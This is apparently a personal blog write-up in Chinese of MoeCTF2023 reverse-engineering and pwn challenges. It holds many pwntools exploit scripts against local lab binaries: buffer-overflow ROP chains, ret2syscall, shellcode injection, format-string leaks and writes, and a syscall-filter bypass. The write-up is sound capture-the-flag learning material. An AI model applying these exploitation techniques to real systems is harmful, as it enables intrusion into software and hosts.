MoeCTF2023部分Re与Pwn

Re

入门指北

IDA打开,查看字符串即可

base64

在线反编译

base64变表

UPX!

先脱壳,找到main(先双击字符串,再交叉应用,再tab)

密文

还是简单异或

Xor

看程序异或一步到位

Android

这一部分将array0填充为enc,array1填充为key

往下找到两个列表,一个是密文

一个是key

加密过程找不到,gpt也不知道,只能盲猜是循环异或,果然

补充

用GDA打开,加密函数在这里

equation

解方程

这里需要注意,文件名别写成python库的名字,不然会被当成是一个库而报错

一堆方程

注意v4,v5,v6,v7空间连续,而且v5,v6,v7一开始都没有具体数值

双击进去看到的是栈空间

从内存看16+14=30刚好符合输入

看汇编就是连续写下来,直接去翻译SHIBYTE会有点问题,估计是反编译不行

也可以直接去改数组长度

接下来就是提取方程加gpt了

人傻了,之前z3死活装不上,现在重新安装又好了,估计是版本更新了,说明之前不行的还是可以去试一下

RRRRRc4

题目说是common 算法

了解rc4就知道,a5是key

key,动调才能获得

最后的密文,这里注意因为明文长度是37,所以后面0x00没有用

放大厨

SMC

找到异或(SMC的特征),后面调用了4014D0这个函数,那就是SMC了

去脚本命令那里输入对应脚本

把黄色部分按转成代码

最后在4014D处按p生成函数,f5

后面部分只是判断是否成功,所以直接写脚本

junk_node

https://www.nssctf.cn/note/set/537

基本的去花指令,不懂可以看上面链接

去花指令后变这样

输入长度为36,这是前半部分

后半部分

这是正确答案,吗?

不对,交了好几次都错了,中间语法也不对,于是开始怀疑是不是读的数据错了

果然,是‘9’而不是0x9,nnd

1
moectf{y0u_rem0v3d_th3_junk_c0d3!!!}

ezAndroid

loadLibrary加载so库,具体实现在ezandroid

public native 修饰check,native层逆向

长度是23

jadx的

去解压缩原文件,去lib里找到.so

函数并不多,发现这个,那就是迷宫

1
moectf{ssaassssdddddwwddddwwaa}

如果用64位去分析

看到了sub_17F0(v4, (__int64)”com/doctor3/ezandroid/MainActivity”);后,我们可以大胆猜测这个函数是FindClass函数,v4应该是jni_env,然后直接猜测是动态注册,点开sub_1820的第三个参数

发现了check函数,说明猜的是对的

GUI-1

windows api 主要是一个界面验证,开始找验证过程

看到这里心里有个数,这个条件很可能是判断的点所以再次跟进(当然也可以先验证a2和a4这两个数是干嘛的)

到这里就比较明显了,大概意思就是两块内存地址比较(ida给的是伪代码,大都描述的是内存关系,这一点和平常写的c区别还是比较大的)这里*a1其实就是一块连续的内存地址也是数组,a3是长度,动调验证一下

这里是a2==a4那里的a2的值

这里是a4的值,验证的逻辑是对的所以密文长度0x1e也就是30

看到输入被加密后的明文

疑似密文的地址看这里是不是一直不变,后来测试确实是密文(无论怎样输入就没变过)

1
2
3
str1 = [ 57, 59, 49, 15, 62, 48, 39, 19, 1, 125, 112, 112,
3, 125, 56, 14, 122, 35, 124,
11, 26, 60, 125, 57, 127, 60, 77, 77, 77, 41]

看起来加密不像是算法加密,常见的几种会随着输入的次序变化加密后的数据也会变化,这里偷个懒直接不看加密函数直接把常见可见字符输入进去拿到他加密后的数据然后根据密文对应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
str1 = [ 57, 59, 49, 15, 62, 48, 39, 19, 1, 125, 112, 112,
3, 125, 56, 14, 122, 35, 124,
11, 26, 60, 125, 57, 127, 60, 77, 77, 77, 41]
din = [13, 12, 15, 14, 49, 48, 51, 50,
53, 52, 55, 54, 57, 56, 59, 58, 61,
60, 63, 62, 33, 32, 35, 34, 37, 36,
119, 121, 123, 77,109, 108, 111, 110,
17, 16, 19, 18, 21, 20, 23,22, 25, 24,
27, 26, 29, 28, 31, 30, 1, 0, 2, 5, 4,
102, 104, 113, 8, 112, 116, 79, 115, 120,
122, 125, 124, 127, 126, 97, 96, 99, 98, 101,39,41,3,11]
op = ""
dic = "abcdefghijklmnopqrstuvwxyz+-/!ABCDEFGHIJKLMNOPQRSTUVXYZ<>%^&*#'.0123456789{}W_"
for i in (str1):
n = 0
while i!=din[n]:
n+=1
op+=dic[n]
print(op)
#moectf{GU1&&W1nd0w2_Pr1m3r!!!}

lpfnWndProc是一个指向窗口过程函数的指针,说明是主要流程

GetWindowTextW这个api可以获取输入在编辑框的内容

但比较的v6和v7并不是输入的,所以和之前的不太一样

跟进 sub_450A0A,是⼀个线性变换

观察到这里有WORD*和上⾯的GetWindowTextW,可以猜测是Unicode存储的数据

还有一点,上面的a91很奇怪

去看里面的函数确实很绕,但是可以直接看变量,这里直接就是密文

中间的0删掉

Rust-1

用侧信道解决,信道就是信息传输的通道,比较差的信道有信息的泄漏,所以叫侧信道

侧信道攻击,核心思想是通过加密软件或硬件运行时产生的各种泄漏信息获取密文信息

找算法好像得死磕,找那些有用的信息就行,还是能看到length这种关键词的

这里是xor0x88

这个就类似省赛简单题,和上次羊城杯的go差不多

unwind-1

总体就是看汇编

触发了一个读写非法地址异常

filter为1表示全局展开,调用 RtlUnwind,RtlUnwind 又会起一个 EH4_EXCEPTION_REGISTRATION->Handler,也就是这里的 loc_415928__except 块

tea

四次tea之后又是一个except

去看有int 3触发调试异常

出题人在这里插入了一个异常链表的节点,这个节点里的 loc_4112FD 函数第一次被 RtlDispatchException 调用,紧接着在栈展开时又被调用一次,也就是说后半部分执行两次

loc_415995 处的 except 块,这个块的工作正是逐个检查输入值是否正确

密文在此处,直接是常量

超过128的dev不行但vs会自动处理

Pwn

test_nc

ls没看到flag,cat gift发现有隐藏文件,ls -a即可发现flag

baby_calculator

问gpt再自己修改一下脚本就行,毕竟有些函数不会用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

host = '127.0.0.1'
port = 35379
num_rounds = 100


p = remote(host, port)

for _ in range(num_rounds):

equation = p.recvline().strip().decode()
print("Equation:", equation)

# 提取等式中的操作数和运算符
parts = equation.split()
operand1 = int(parts[0])
operator = parts[1]
operand2 = int(parts[2])


if operator == '+':
result = operand1 + operand2


if int(p.recvline().strip().decode()) == result:
p.sendline(b"BlackBird")
else:
p.sendline(b"WingS")


response = p.recvline().strip().decode()
print("Response:", response)

p.close()

fd

一开始还在想怎么获取远程的fd,尧哥说远程的用read读不了,fd是读一个文件加1,0是标准输入,1是标准输出,2是标准错误,也就是说打开的第一个文件fd=3

dup2把fd赋给new_fd,又把fd关了,所以最后要通过new_fd来打开flag

int_overflow

一开始还在研究怎么溢出,在看v1和v2在栈中的位置,后来一想,直接让n足够大溢出成负数就可以直接执行后门函数了,而且n的长度也可以到32,足够了

strchr(str,c):str中寻找字符c,找到返回c第一次出现的位置,没找到返回NULL

n从0~2147483647再到-2147483648,最后要到-114514,那么就是2147483647+1+-114514-(-2147483648)=4294852782

ret2text_32

学了就能做,这次比赛看了一眼,简单ret2系列的还是挺全的,刚好以后给新生用来练习了

有个问题是scanf读入的参数是read的长度,此外参数要10进制,一开始写16进制,挣扎了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#context(os='linux',arch='i386',log_level='debug')
p=process('./pwn')
#p=remote('127.0.0.1', 44409)
sys_addr=0x8049070
bin_addr=0x804c02c

p.recv()
payload1=b'108'
p.sendline(payload1)
p.recvline()
payload2=b'A'*(0x58+4)+p32(sys_addr)+b'A'*4+p32(bin_addr)
p.sendline(payload2)
p.interactive()

ret2text_64

gadget

ret_addr的位置填垃圾数据打不通,以后再遇到这种ROP,用ret地址更保险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
p=remote('127.0.0.1',33673)
#gdb.attach(p)
sys_addr=0x401090
bin_addr=0x404050
pop_rdi_ret=0x4011be
ret_addr=0x40101a

p.recv()
payload1=b'120'
p.sendline(payload1)
p.recvline()
payload2=b'A'*(80+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_addr)+p64(sys_addr)
p.sendline(payload2)
p.interactive()

shellcode_level0

虽然开了PIE,但是有RWX

栈上直接有RWX,算是简单版shellcode

main函数反编译不了,但是有gets

shellcode_level1

一开始看到paper1高亮,还以为paper1可以打通,结果整个程序都没有完整的rwx权限

mmap用来内存映射,mprotect用来修改一段指定内存的权限

7表示全部权限

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process('./shellcode_level1')
#p=remote('127.0.0.1',40547)
elf=ELF('./shellcode_level1')

shellcode=asm(shellcraft.amd64.sh())

p.sendlineafter("choose?",'4')
payload=shellcode.ljust(0xf8,b'A')
p.sendlineafter("write?",payload)
p.interactive()

uninitialized_key

以为是整数溢出,传负数进去还是负数

直接输key不行,位数不够

调试发现age和key都先存到rdi,直接看ebp也是都减8h

所以第一次传入114514即可,第二次随便输一个非数字字符即可,反正不会被读入

format_level0

打开flag文件写到了栈上,那就把栈里面的东西全部泄露出来

这里导入一个struct的库来实现小端序字符串转化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import struct

p = remote('127.0.0.1', 37661)
#p=process('./format_level0')
context(arch="amd64", os="linux", log_level="debug")


def s(a): p.send(a)
def sa(a, b): p.sendafter(a, b)
def sl(a): p.sendline(a)
def sla(a, b): p.sendlineafter(a, b)
def r(): return p.recv()
def pr(): print(p.recv())
def rl(a): return p.recvuntil(a)
def inter(): p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

sla(":", b'%x'*80)

rl(b'ff')

a = p.recv(2)

flag = ""
for i in range(16):
data = int(p.recv(8), 16)
s = struct.pack('<I', data) # 将整数转换为小端序的字节串,'>I'就是大端序
f = s.decode('latin-1')
flag += f

print(flag)

p.interactive()

是第七个参数

一定范围内的全部泄露出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

parent_path = "/home/user/temp/"
context(os="linux", arch="amd64")

offset = 7 # flag的偏移
flag = ""
for i in range(0, 20):
sh = remote("localhost", 44129)
sh.sendline(b'%' + str(i + offset).encode() + b'$p') # 把flag以16进制接收
try:
sh.recvuntil(b'0x')
except EOFError as e:
break
d = int(sh.recv()[:8], 16)
for j in range(4):
flag += chr(d & 0xff) # 处理flag字符
d >>= 8
print(flag)

PIE

vuln的地址被随机化了

但变化的只是低三位,还是可以根据低三位找到基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

filename='./pwn'
elf=ELF(filename)
context(arch=elf.arch,os='linux',log_level='debug')
io=process(filename)

def s(a):
io.send(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

backdoor=0x11d8
bin_sh=0x4010
pop_rdi=0x1323

ru("Vuln's address is:")
vuln=int(io.recv()[2:14],16)
base=vuln-elf.symbols['vuln']
print('base:',hex(base))
#debug()
payload=b'a'*0x58+p64(base+pop_rdi)+p64(base+bin_sh)+p64(base+backdoor)
s(payload)
inter()

ret2libc

板子题,ret2libc3

ret2libc考的不是exp而是攻击的耐心,亲自测试哪怕用宽带也会出现有时可以打通有时卡住的情况

还有一个就是远程的libc版本,本着交集最多原则,本题首先排除3,2.35最多先试,再者就是ubuntu3,接下来就看运气了

ret2syscall

syscall触发的时候会根据rax的值来判断选择什么函数

64位的execve 系统调用号是0x3b,再把bin_sh_addr传到rdi,再给后两个参数rsi和rdx传0,最后调syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p=process('./ret2syscall')
#p=remote('127.0.0.1',33529)
context(arch="amd64",os="linux",log_level="debug")
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#gdb.attach(p)
#base = int(p.recv(12),16) & 0xfffffffff000#开PIE求基址

pop_rax_ret=0x40117e
pop_rdi_ret=0x401180
bin_sh_addr=0x404040
pop_rsi_rdx=0x401182
sys_addr=0x401185

sla('?',b'A' * 0x48+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(pop_rsi_rdx)+p64(0)*2+p64(sys_addr))
p.interactive()

shellcode_level2-1

看不了伪c代码

memset 会清空输入,jz short loc_1250 可以直接跳到执行 shellcode 的命令。而该指令在 ZF=0 时生效。test al, al 为对两数进行位与,结果为 0 时ZF 为 0,否则为 1。需要\x00开头进行绕过,因为byte转换所以\x00转化回去就是0,al 来源于 rax 低 8 位,rax 来源于 s 字符串首位,所以要在payload开头加’\x00’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(os="linux",arch="amd64")

io = process("./shellcode_level2")

payload = b'\x00'+ asm(shellcraft.sh())
io.sendline(payload)
shellcode=asm('''

mov rax,0
xor rax,rax
push 0x3b
pop rax
xor rdi,rdi
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
pop r13 #调整栈
syscall
''')
io.interactive()

shellcode_level3-1

Shellcode: e8 -> call; e9 -> jmp

由于 call 指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr)

1
2
3
4
5
6
7
8
from pwn import *

io = process("./shellcode_level3")

payload = b"\xE8\x4D\xD1\xFF\xFF"

io.sendline(payload)
io.interactive()

0x404089 + 5 - 0x4011d6 = 0xffffd148

1
2
3
4
from pwn import *
sh = remote('localhost', 46239)
sh.sendline(b'\xe9' + p32(0xffffd148))
sh.interactive()

uninitialized_key_plus

这次第一个要传字符串

自动读入第一次输入的最后4个字节

因为数组本身就24位长,所以转化为32位更合适

1
2
3
4
5
6
7
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process('./uninitialized_key_plus')
p=remote('127.0.0.1',40279)
p.sendlineafter(':',b'a'*20+p32(114514))
p.sendlineafter(':',b'\x00')
p.interactive()

format_level1-1

格式化字符串泄露canary

后门由attack函数触发

读入长度有限,偏移为7

这里考的是格式化字符串的修改

1攻击,2沉淀,3交流

3有格式化字符串漏洞

为了打败龙我们可以将龙的血量和攻击都修改为0。找到龙的地址和结构体的组成

hp和atk的偏移

接下来要修改龙的血量,可以在payload的前面写b’%8$n’,刚好4个字符,写入的地址是第八个参数,之前没有打印,所以往内存写入0;或者修改atk高位为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./format_level1')

def choose(choice):
io.recvuntil(b'Your choice: ')
io.sendline(str(choice).encode())

#减小dragon的HP
def payload1():
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%8$n'+p32(0x804c00c))
choose(1)

#增大pwner的ATK
def payload2():
choose(3)
io.recvuntil(b'Input what you want to talk: ')
io.send(b'%1c%9$nA'+p32(0x804c01b))
choose(1)

#payload1()
payload2()

io.interactive()

rePWNes

看到函数名和7个数字,应该是要凑出/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug')

p = process('./rePWNse')
#p =remote('localhost',41225)

p.recvuntil(b'digits:\n')
p.sendline(b'1 9 1 9 8 1 0')
p.recvuntil(b'address is:')

binsh = int(p.recvuntil(b'\n')[:-1].decode(),16)
print(hex(binsh))
rdi_ret = 0x40168e
exe = 0x401296
offset = 0x40 + 8
payload = b'a'*offset + p64(rdi_ret) + p64(binsh) + p64(exe)

p.send(payload)
#p.sendline(b'cat flag')
#print(p.recv())
p.interactive()

changeable_shellcode-1

过滤了syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(os="linux", arch="amd64")
sh = process("./shellcode")
parent_path = "/home/user/tmp/"

# 将shellcode的最后一个\x05替换成\x00
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x00'
# 将\x05写入shellcode的最后一个字节
pay = asm("mov al, 0x05") + asm("mov [0x114514021], al")
pay += shellcode
print(len(pay))#34
#gdb.attach(sh)
sh.sendline(shellcode)
sh.interactive()

可以先把0x050e移入寄存器,再将其移入rip下方即可(rwx段)

1
2
3
4
5
6
7
8
9
10
11
12
; 更改后
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
imul esi
mov al, 0x3b
mov cx, 0x050e
inc cx
mov word ptr [rip], cx

MoeCTF2023部分Re与Pwn
https://j1ya-22.github.io/2023/10/16/MoeCTF2023部分Re与Pwn/
作者
j1ya
发布于
2023年10月16日
许可协议